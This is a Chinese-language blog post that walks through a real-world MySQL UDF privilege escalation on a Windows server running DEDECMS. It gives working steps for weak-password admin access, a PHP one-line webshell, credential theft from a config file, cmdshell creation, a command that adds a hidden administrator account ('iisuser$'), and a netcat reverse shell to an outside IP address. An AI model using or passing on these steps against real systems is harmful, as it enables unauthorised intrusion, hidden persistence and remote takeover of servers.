记一次UDF提权
纯属记录 ,大牛飞过
前言:udf提权是利用MYSQL的Create Function语句,将MYSQL账号转化为系统system权限。
适用环境:目标系统是Windows(Win2000,XP,Win2003)
0x01 扫描某段IP的21号(FTP)端口开启情况。得到目标IP查询出网站
0x02 直接上传php菜刀马未成功,只有读权限,没有写入权限
0x03 根据网站结构找到后台路径
弱口令进入后台之后,通过文件管理器上传php一句话代码,通过菜刀连接。
0x04 DEDECMS的数据库连接文件地址为:/data/common.inc.php
得到mysql数据库的连接配置。这个账号必须有对mysql的insert和delete权限以创建和抛弃函数
0x05 上传udf提权文件,输入配置
导出udf.dll的文件
MYSQL 5.1以下版本导出路径:
C:/Winnt/udf.dll win2000
C:Windows/udf.dll win2003(有的系统被转义,需要改为C:Windowsudf.dll)
MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib/plugin文件夹下才能创建自定义函数。
0x06 导出完dll文件后,创建shell函数。使用命令
Create Function cmdshell returns string soname ‘导出的DLL路径’ 这里dll路径如果是在系统目录的话 可以直接写udf.dll
0x07 这里弄完之后就可以输入命令 select cmdshell ('你想输入的命令')
如创建帐号:select cmdshell ('net user iisuser$ qqq111! /add & net localgroup administrators iisuser$ /add') 点击确定 即可创建一个在administrators组的密码为qqq111!的iisuser$用户 用户名后加$是为了隐藏账户 。
提权结束。
--------------------------------------------------
udf除了可以创建cmdshell外
还可以创建downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
如果cmdshell执行命令不成功的话,还可以试试backshell
backshell和之前的创建命令一样 创建完之后在本地执行nc -l -p 666,监听666端口。
这时再回到udf界面输入select backshell(114.228.34.56,666),提示执行成功,就会在你的本地反弹一个cmdshell,提权同上
----------------------------------------------------------------------------
over
评论